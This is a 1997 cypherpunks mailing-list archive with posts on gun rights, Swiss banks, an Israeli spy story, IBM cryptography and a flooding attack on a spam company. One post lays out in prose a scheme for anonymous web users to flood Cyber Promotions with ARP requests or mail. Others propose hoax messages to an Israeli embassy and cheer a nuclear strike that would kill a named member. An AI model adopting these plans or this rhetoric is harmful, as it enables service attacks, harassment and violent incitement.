As the "Nazi Gold" story continues to build, expect "Swiss bankers" to be
added to the list of the "Horsemen." (Swiss bankers always have been viewed
with some suspicion--and admiration. Usually related to their "sheltering"
of funds from dictators and mobsters. And their has long been the hint of
complicity with the Reich in some areas. But now the move is on to
associate Swiss banks with the Holocaust more explicitly.)

I suspect the U.S. pressure on Swiss banks has a political dimension
related to forcing a New World Order on international banking. The U.S.
wants banking secrecy subject to U.S. control (so that banks like Castle
Bank, Nugan Hand Bank, Banco Ambrosiano, BCCI, and the Bank of America can
continue to be used for U.S. interests, and only U.S. interests).

The Jews killed by the German state in the war are dead and gone. Most of
their money is irretrievably gone. The clamor to break banking secrecy and
"force" the banks to disclose all records is part of a larger political
game.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 01:35:14 +0800
To: cypherpunks@cyberpass.net
Subject: OFF-TOPIC: Second Amendment
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <v03007802af96766276ad@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


(This is veering off into a typical Second Amendment debate, the bane of so
many lists and newsgroups, so I will be brief and will try to make this my
last comment in this thread.)


At 8:43 PM -0800 5/5/97, Kent Crispin wrote:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of
>Roosevelt scaring the judges, but a matter of the clear intent of the
>constitution.
>
>This made sense to me -- if the constitutional grounds were clear the
>NRA could save a tremendous amount of money and trouble just by
>letting the court rule on it -- Roosevelt is dead.

I don't buy this "knowledgeable person"'s claim (though all manner of
opinions emanate from the NRA). NRA literature has consistently claimed the
opposite. Now, why there hasn't been a major court challenge is unclear,
and this theory is one explanation. But there are others, such as NRA
willingness to save the rights of "hunters" over the rights of "militia
members." Or a calculation that the courts would rule against gun
ownership, for whatever reason.

I can't find support for the notion that the Founders were not speaking
about individual ownership of firearms. First, essentially every household,
except perhaps in the larger cities, had a musket or rifle, such as they
were in those days. These were used for putting food on the table, defense
against Indians, and all the usual Colonial cliches.

Second, there was never a formal "militia" in most communities. The
"militia" was the informal formation of a defense force should the need
arise. Thus, the weapons were those the households had, the rifles and
muskets that farmers, traders, and shopkeepers had at their disposal. There
certainly was no mention of a "National Guard Armory" where such weapons
were to be stored!

In any case, arguing the "intent" of the Founders is always problematic. I
favor direct action. Caching weapons in secure places, for example. Buying
several thousand rounds of ammo, and setting up reloading capabilities, for
another. And quitting the NRA, which is too namby pamby about gun rights.
And, last but not least, buying a defensible home on top of a hill.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 8 May 1997 00:54:03 +0800
To: geeman <geeman@best.com>
Subject: Re: The Executive State
In-Reply-To: <3.0.32.19970507081934.006bbe28@best.com>
Message-ID: <199705071629.LAA00582@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <3.0.32.19970507081934.006bbe28@best.com>, on 05/07/97 at 09:20 AM,
   geeman <NOSPAM-geeman@best.com> said:


>Anyone doubting that the center of gravity of world power is shifting
>would do well to ponder: 100 of the world's top CEO's are going to  Bill
>Gates' house to hear him expound on what the future will look like.

>IF that doesn't make you nervous nothing will.  It's at least as 
>nervewracking as anything Clinton admin. might do.

Hmmm... 100 top CEO's & Bill Gates all in one place.

Makes one ponder the possibilities. :)

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I use OS/2 2.0 and I don't care who knows!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3C9I49Co1n+aLhhAQEZFAQAjnn6QAOr2Ul9XaI0OmZdkRZMriPCOLJX
kHoiFpPxMYJeepzum4U67n4K7FQaFsn+zf5Lpgwd01dkQ3u0MbkF7sA5aGoK4+kR
qVEAUD4saQlUE6TyPIpZniU2Pr0229OB7hS+jFOqeRWeL5uIwSpR+y9YL/cx5afB
eKtNoc/2CrE=
=MswY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 02:51:35 +0800
To: cypherpunks@cyberpass.net
Subject: Zionist Spies
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: <v03007800af9687741133@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

First, this was probably an intentional spreading of the news. The U.S.
wants its nominal ally, Israel, to know that it knows and that it wants
Israel to know it is publically signalling that it knows that it knows.

Second, such spying by nominal allies on each other is not new, of course,
and has always been common. The U.S. has intensive espionage efforts
directed against all of its nominal allies, often maintaining extensive
listening posts in the countries involved. (The U.S., being the big bully
on the block, can maintain large SIGINT and COMINT facilities in Japan, for
example, but reciprocal rights by the Japanese to maintain COMINT
facilities in Silicon Valley, for example, are not granted.)

Third, whether crypto is presently involved now, it soon will be. Encrypted
phones are being sold--not the Clipper-enabled duds, but the 3DES phone
Eric Blossom and his Comsec outfit is selling, Encrypted links over the
Internet for voice, too. (One of the most impressive things I ever saw was
a fully-DES-encrypted linkup of several sites via the MBONE...and this was
more than four years ago, at a Cyperpunks meeting which linked up Silicon
Valley, Washington, Boston, San Diego, and other sites.)

Fourth, under the SAFE provisions, such "diversions" of crypto to uses by
terrorists, spies, and military persons could invoke the clauses by which
exports are denied, and even trigger the "furtherance of a crime"
provisions.

We've known the Zionist state has had nukes for more than 25 years,
probably longer. And yet we cluck about the nuclear programs of other
nations.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 00:35:29 +0800
To: cypherpunks@cyberpass.net
Subject: AWK_war
Message-ID: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Wash Post reports today on a NSA intercept of
a "secure communication" between two Israeli
spooks discussing a top US official spying for
Israel.

The FBI opened an investigation in January.

Israel denies the claim.

Crypto is not mentioned, only that the Hebrew
conversation was "awkwardly" translated.

The intercept was withdrawn after 12 hours from
the distribution list due to FBI's dismay at its
spread.

-------

AWK_war





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 03:34:27 +0800
To: cypherpunks@cyberpass.net
Subject: A "Mega" Opportunity
In-Reply-To: <1.5.4.32.19970507162104.0087bf20@pop.pipeline.com>
Message-ID: <v03007800af96938f3c65@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:21 AM -0800 5/7/97, John Young wrote:
>Wash Post reports today on a NSA intercept of
>a "secure communication" between two Israeli
>spooks discussing a top US official spying for
>Israel.
>
>The FBI opened an investigation in January.
>
>Israel denies the claim.
>
>Crypto is not mentioned, only that the Hebrew
>conversation was "awkwardly" translated.
>
>The intercept was withdrawn after 12 hours from
>the distribution list due to FBI's dismay at its
>spread.

It might be fun to send some remailed messges to addesses within the
Israeli embassy (Alta Vista should turn up some valid e-mail addresses),
using various keywords like "Mega" (the code name of the highly-placed
Israeli spy), the Christopher report, Arafat, Dimona, Operation Jericho,
South Africa, and various nuclear-related terms.). A suggested sort of
message:

"Urgent that Mega exercise Option A and leave Goyland. Encode latest nuke
secrets in stego image of Golda Meier at clothing optional beach."

--Tim May, who supports "Mega's Law," which requires that the National
Security Agency notify the neighbors about any spies resettled to their
neighborhoods

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 8 May 1997 03:38:34 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: PGP
In-Reply-To: <199705060714.DAA24306@dhp.com>
Message-ID: <Pine.A41.3.95.970507131752.103540A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



I think Vulis needs each of us to send ten copies of this back to
him.

On Tue, 6 May 1997, lucifer Anonymous Remailer wrote:

> Tim C[retin] Mayflower styles his facial hair to look more 
> like pubic hair.
> 
>       ,,,
>  -ooO(o o)Ooo- Tim C[retin] Mayflower
>       (_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Thu, 8 May 1997 01:22:20 +0800
To: kent@songbird.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <19970505214347.40130@bywater.songbird.com>
Message-ID: <199705071721.NAA29436@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin writes:
> 
> On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:

> > I concur. A citizen has the right to manufacture a grenade launcher under
> > the Second Amendment (irrespective of what judges scared into submission
> > by Roosevelt et al may have ruled), not the First. 
> 
> I have heard, from a knowledgable person, that the reason that the NRA
> has not pressed a constitutional challenge is that their lawyers tell
> them that the historical context clearly indicates that the second
> amendment does *not* protect individual ownership of firearms, and
> that a constitutional challenge would almost certainly lose.  Hence
> the NRA resorts to lobbying.  That is, it is not a matter of 
> Roosevelt scaring the judges, but a matter of the clear intent of the 
> constitution. 
> 
> This made sense to me -- if the constitutional grounds were clear the
> NRA could save a tremendous amount of money and trouble just by
> letting the court rule on it -- Roosevelt is dead.

"When I use a word," Humpty Dumpty said in a rather scornful tone,
"it means just what I choose it to mean--neither more nor less."

The constitution is entirely clear on this point.  There really is
no need to look at historical context except where the meaning of
the constitution itself is *not clear*.  The "right of the people...
shall not be abridged" clause is in no way conditional on the 
first ("well-regulated militia") clause, even though most would
agree that the first serves as a rationale.  If the authors of the
bill of rights had meant something else, they could have and would
have written something else.

The NRA knows this.  They just don't trust the Supremes to agree
with their conclusion.  Understandably so, given the court's record--
not to mention its usual reluctance to overturn precedents.

This is a problem with constitutions or any other sort of written
documents.  Pinheads can always say the document doesn't *really* mean
what it clearly says.  There's obviously no way to fix that through
the document itself.

(I'm sure Jim Bell will say he has a solution though. :-)


-- Jeff





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 04:51:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Banking Secrecy and Nazi Gold
Message-ID: <v03007802af96a610ba69@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Someone sent me private mail about my post, and suggested that Swiss
bankers have historically had close ties to the Swiss government, e.g, most
are reserve officers in the Swiss military. He also suggested that
Switzerland is more of a police state than many realize. Here is my reply:


I don't argue otherwise. Likewise, Monaco is a video surveillance state,
with hundreds of cameras scattered in hidden locations throughout that tiny
place. Neither are places I'd want to live.

But the deposits of the 1930s-40s are ancient history. As I said, I see the
current foofaw as being political. (Just as the Kurt Waldheim thing was
political, in that Israel, the U.S., and many other states knew of
Waldheim's war record and chose to exploit the knowledge rather than reveal
it.)

If the U.S. forces the illegal gains to be "given back," mightn't the
fortune Joe Kennedy amasses as a rum runner be seized? The Kennedy clan
made its considerable fortune through outlaw activities, even to the
(probable) point of buying the '60 election (Illinois, as I'm sure you
know).

(Not suggesting rum running = extermination of Jews. Far from it. But the
notion of going back to events of 50-60 years ago, when ignored in the
intervening decades, must always be scrutinized for real intentions.)

Lastly, I really wish you'd make more of your comments in a public way, so
that my responses can be public.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 8 May 1997 02:06:56 +0800
To: cypherpunks@toad.com
Subject: Spam Update/Cyber Promo attacked
Message-ID: <v03020902af966ed17bf4@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date:         Wed, 7 May 1997 13:24:57 +0200
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Wendy Leibowitz <wendyl@LJEXTRA.COM>
Subject:      Spam Update/Cyber Promo attacked
To:           CYBERIA-L@LISTSERV.AOL.COM

While aware of the irony of sending an unsolicited message from Cyber
Promotions to a large group of people, this bulletin just arrived from our
friends at Cyber:

PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
"anti-spam" hackers. This concentrated attack was planned for several
weeks, and has been publicly discussed on Internet newsgroups. The hackers
are using a brand new method to deny service to all Cyber Promotions'
computers hooked to a main router on an AGIS line. The hackers have devised
a system which sends millions of random "arp" requests to a router, which
can disable the whole network for hours. This type of attack has never
occurred before. Currently thousands of businesses with web pages and mail
box accounts are being denied service.

The attack began yesterday around 4 PM Eastern, and is still occurring at
press time. But the [source of the] attack is traceable with the help of a
backbone provider and computer security specialists. The longer it occurs,
the easier it is to trace it back to the hacker. Cyber Promotions will work
in conjunction with federal authorities to prosecute the criminals.

.......

This latest attack is occurring, by no coincidence, on the same day that
Cyber Promotions, AGIS and several bulk e-mailers scheduled  a press
conference in Las Vegas to discuss the formation of a new association which
will enforce a universal "don not send" list along with many other ethical
bulk e-mail standards.
...........

It goes on, but I need to ponder the meaning of "ethical bulk e-mail
standards."

Wendy R. Leibowitz, Technology Editor
National Law Journal
345 Park Ave. South
New York, NY 10010
E-mail: wendyl@ljextra.com
"Remember, even pencils break."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Thu, 8 May 1997 02:03:32 +0800
To: cypherpunks@algebra.com
Subject: Re: AP --> AR
Message-ID: <3.0.16.19691231190000.3107a6d2@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:02 PM 5/6/97 EDT, you wrote:
>nobody@huge.cajones.com (Huge Cajones Remailer) writes:
>
>>
>> Tim May verily saith [paraphrase]:
>>
>> > I would cry few tears if D.C. got nuked
>>
>> This will be an historical event of importance comparable to the
>> American Revolution and the fall of the Berlin Wall.
>
>I'm all for it!
>

Me too.

Especially if the collateral damage reached  Forest Hills and the
degenerate Russian scumbag  Vulis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 8 May 1997 07:47:19 +0800
To: cypherpunks@toad.com
Subject: Re: IBM's New Algo
In-Reply-To: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>
Message-ID: <0kic7D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young <jya@pipeline.com> writes:

>    The New York Times, May 7, 1997, p. D5.
> 
>    I.B.M. Researchers Develop A New Encryption Formula
...
>    The system is based on a problem that has defied solution
>    by mathematicians for 150 years, I.B.M. said.

I had an interesting conversation a few weeks ago with a friend who has
a closed-form solution to a well-known problem that's been unsolved for
about that long.  He has no intention of publishing it, but he has already
made quite a bit of $$$ on it. :-)

I've known the guy for a number of years and it's not the first time he gets
a good result and makes money on it instead of yet another paper in a 
refereed journal.  In general, lots more is known to some people than is
published. E.g. it's possible that some of stuff I did for my Ph.D. thesis
was done by the British crypto people but never made it to the open literatre.

>    Mr. Schneier said that the cryptographic formulas now in
>    use were already robust enough. The biggest challenge, he
>    said, is creating security systems in the real world that
>    are not vulnerable to hackers.
> 
>    "Cryptography is a lot more than math" he said.

Let me get this straight - Schneier claims that factoring is secure now and
will remain secure in the future?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Thu, 8 May 1997 05:45:13 +0800
To: John Young <jya@pipeline.com>
Subject: Re: (fwd) Cell Phone Cancer Study
In-Reply-To: <1.5.4.32.19970506142235.0083d2e4@pop.pipeline.com>
Message-ID: <8567.863039796@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


While I am not involved with the cellular area of Qualcomm, I am
familiar with the publishing policies of Nature and Science as a
reader of both for the last ten years.  Neither journal shies away
from controversy.  We have only the author's say-so as to why their
papers were rejected.  To me Occams Razor suggests bad science as
a better explanation than conspiracy.

I sent the following to Stewart Fist:

>|When presented to 'Science' magazine for publication the study was
>|rejected on the grounds that publication "would cause a panic".
>
>Proof please.  More likely Nature and Science rejected it because it
>was badly done science.

His response:

|I don't offer proof.  I am a journalist, and I just report what I was told
|in interviews with the scientists involved.

So there's been no confirmation or checking of the science involved, or why
the papers were rejected by both an American and British science journal.

/pbp





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Porter <txporter@mindspring.com>
Date: Thu, 8 May 1997 02:34:11 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Constitutional basis for RTKBA?
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <3.0.1.16.19970507141846.3eafc18a@pop.mindspring.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 PM 5/5/97 -0700, Kent Crispin thoughtfully expounded thus:

>I have heard, from a knowledgable person, that the reason that the NRA
>has not pressed a constitutional challenge is that their lawyers tell
>them that the historical context clearly indicates that the second
>amendment does *not* protect individual ownership of firearms, and
>that a constitutional challenge would almost certainly lose.  Hence
>the NRA resorts to lobbying.  That is, it is not a matter of 
>Roosevelt scaring the judges, but a matter of the clear intent of the 
>constitution. 


I suppose one can quibble on this, but I do not think this is the case.

It _is_ possible that precedent and the accumulation of rulings would not
support an individual right to bear arms, but from a strict constitutional
POV, as well as the historical record of quotations by the Founding Fathers
and associated writings, it is very clear that the second amendment was
specifically written to protect the individual RTKBA in order to resist the
establishment of a tyrannical government.

One of the best reviews of this is:

The Embarassing Second Amendment by Sanford Levinson, Yale Law Journal
Volume 99, pp 637-659 (1989)




Tom Porter                                       txporter@mindspring.com
------------------------------------------------------------------------
   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 8 May 1997 02:57:21 +0800
To: cypherpunks@toad.com
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03020902af966ed17bf4@[139.167.130.248]>
Message-ID: <3.0.1.32.19970507142536.009a7e90@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>PHILADELPHIA, 5-7-97  Bulk e-mail giant Cyber Promotions is under attack by
>"anti-spam" hackers. [...] Currently thousands of businesses with web pages
>and mail box accounts are being denied service.

Hmmm... the whole reason they are trying to stop the arp-spam is because
whoever is doing it is trying not to be found, right?  Well, what if
someone (or a group of someones) were to set up a web page with a script
behind it.  The page would simply ask "How many arps would you like to send
CyberPromo?".  An anonymous web user then fills in the blank, hits SUBMIT,
and the CGI does its thing.  Using this system, especially if it is not
just coming from one page but from anyone who sets up the CGI on their
system, CyberPromo really can't do anything about it, can they?

Maybe the denial of service attack is too harsh, though, and provides too
much legal ground.  What if instead of arps it sent emails to random
CyberPromo addresses?  At that point all you are doing is spamming
spammers, so what can they say?  And since it isn't you, but some passerby
on the web, you're safe from any repercussions, right?  You're just
providing the interface.

A perl script to connect directly to their SMTPd (no point in clogging
yours by using sendmail) would be trivial.  If set up on a sufficient
number of sites/pages (the form elements and script might take up a totalk
of 2k, whoopee), this could be a sort of passive agressive way of getting back.
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
It's amazing how much 'mature wisdom' resembles being too tired.
- Lazarus Long





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Thu, 8 May 1997 02:55:07 +0800
To: cypherpunks@toad.com
Subject: US Citizens doing crypto work overseas
Message-ID: <199705071826.OAA18201@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any idea how extensive the legal entaglements might
be for a US Citizen to accept work overseas developing crypto software
for a foreign company?

Someone at a company in Australia is interested in hiring some
crypto-clued folks, and has asked me if it's even worth pursuing
any US citizens.

advTHANKSance

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Death to small keys.  Crack DES NOW!   http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 02:48:12 +0800
To: cypherpunks@cyberpass.net
Subject: The Microsoft Provocateur
Message-ID: <1.5.4.32.19970507183001.008eaf1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The New Yorker of May 12 has a long profile by Ken
Auletta on Myhrvold, "The Microsoft Provocateur":

"For a decade, Nathan Myhrvold, Bill Gate's corporate 
gadfly, has been writing copious, bombastic, brilliant,
and confidential memos for his boss. To read them
is to understand a lot about Microsoft -- and the future."

-----

http://jya.com/myhrvold.htm  (56K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Thu, 8 May 1997 03:10:24 +0800
To: cypherpunks mailing list <cypherpunks@algebra.com>
Subject: Hackers!  <ooh, do it again>  Hackers!
Message-ID: <3.0.1.32.19970507145834.009aa140@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


"the Net" Magazine, #6 for June 97 page 96, has a blurb entitled "NetSurfer
Archetypes: Seven Frightening Case Studies", one of which is of course "The
Hacker".  It says:

The Hacker
alias: :parasite:
modus operandi: Breaks into Procter & Gamble's main database, and inserts a
script that sends a free home pregnancy test to every man, woman, and child
in North America.
identifying marks: Pacific Bell lineman's uniform ("Hank from the Central
Office sent me.  You fellas got the security keys we requested?)
favorite Web site: 25 Real-Life MacGuyvers
philosophy of life: "43NytRoPH"


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
DOS Tip #17: Add DEVICE=FNGRCROS.SYS to CONFIG.SYS





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 8 May 1997 03:13:48 +0800
To: cypherpunks@cyberpass.net
Subject: Paper on IBM's New Crypto
Message-ID: <1.5.4.32.19970507190109.0083e400@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For the paper describing IBM's new public key algorithm by
Miklos Ajtai and Cynthia Dwork of IBM's Almaden Research
Center in San Jose, California:

   ftp://ftp.eccc.uni-trier.de/pub/eccc/reports/1996/TR96-065/index.html

IBM's press release on it:

   http://jya.com/ibmkey.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 8 May 1997 06:30:35 +0800
To: sunder@brainlink.com
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705072207.PAB22259@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachalian writes:
> On Tue, 6 May 1997, Dave Hayes wrote:
> > Igor Chudov writes:
> > > I am interested in your view, Dave.
> > There are only two reasons that I can see your interest serving. 
> > You either wish to support my views or oppose them. Neither case
> > serves your potential enlightement, therefore I shall choose to 
> > not answer.
> A very Zen answer (and quite a slippery one at that.) 

Thank you.

> What if Igor was simply curious as to your views?

Curiosity does not generally have zero attachment to other goals.  If
it did in this case, the information is not useful.

> If not what difference does it make whether he supports or opposes
> your view? 

Moo.

> Why do you care whether or not a person is enlightened by your
> response?

I don't. 

> If you truly are following Zen, then it is not for you to decide
> what will or won't enlighten others since this would mean taking
> responsability for another person's karma.

I neither follow nor lead Zen, but it is interesting to note your
conjugation of "truth" and it's implications. 

> IMHO, your response isn't one of potentially enlightening others, but rather
> fear of sharing your opinion.  

Since it is clear you cannot understand the former, the latter is all
that is open to you to understand. Perhaps that is good enough,
for your purposes. 

> This is two fold.  If you fear he will oppose it, you are seeking
> the approval of others. If you fear he will agree to it, you fear
> that those who oppose his views will oppose yours.

There are many more folds that you have overlooked. 

I may desire him to oppose it, thus seeking negative approval.  

I may desire him to agree to it, thus seeking positive approval.  

I may desire him to neither agree nor oppose it, thus seeking his
enlightenment by my words, which is really seeking positive approval.

I may fear he will neither agree nor oppose it, thus seeking his
lack of enlightenment by my words, which is really seeking negative
approval. 

> You could take the hidden third option and claim privacy, however it
> is too late to do so since you have already shared some commentary -
> and thus this path is closed to you.

No path is closed to me, except by my choice. 

> Your responses so far were to the ethical and moral standards of spamming the
> spammers.  I wasn't interested in such.  I am comfortable with my own morals
> and take responsability for my actions.  However, the point of this paragraph
> is that you have tried to share with us your morals, and thus thrust them
> upon us, later, here, you say you lack the will to share your views with us,
> and thus back out of passing judgement on our hypothetical actions.
> And at this point I am no longer interested in your oppinion on this 
> matter for it is jaded by fear, so please, don't even bother to reply. :)

Notice the way you respond to my sharing: You pass judgement on my
views, thus preventing your own enlightenment. Then you say you lack
the will to be interested in my response, thus becoming guilty of what
you claim I am guilty of.

This was truly a mirrored interchange. I thank you for the opportunity
to witness my self in you. ;-)
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A passerby caught Nasrudin prying open the window of his own bedroom from 
the outside in the depths of night. "What are you doing? Locked out?"
"Hush!" came the reply. "They say I walk in my sleep. I am trying to surprise
myself and find out."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Thu, 8 May 1997 06:24:37 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705072212.PAA22343@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


> Dave Hayes wrote:
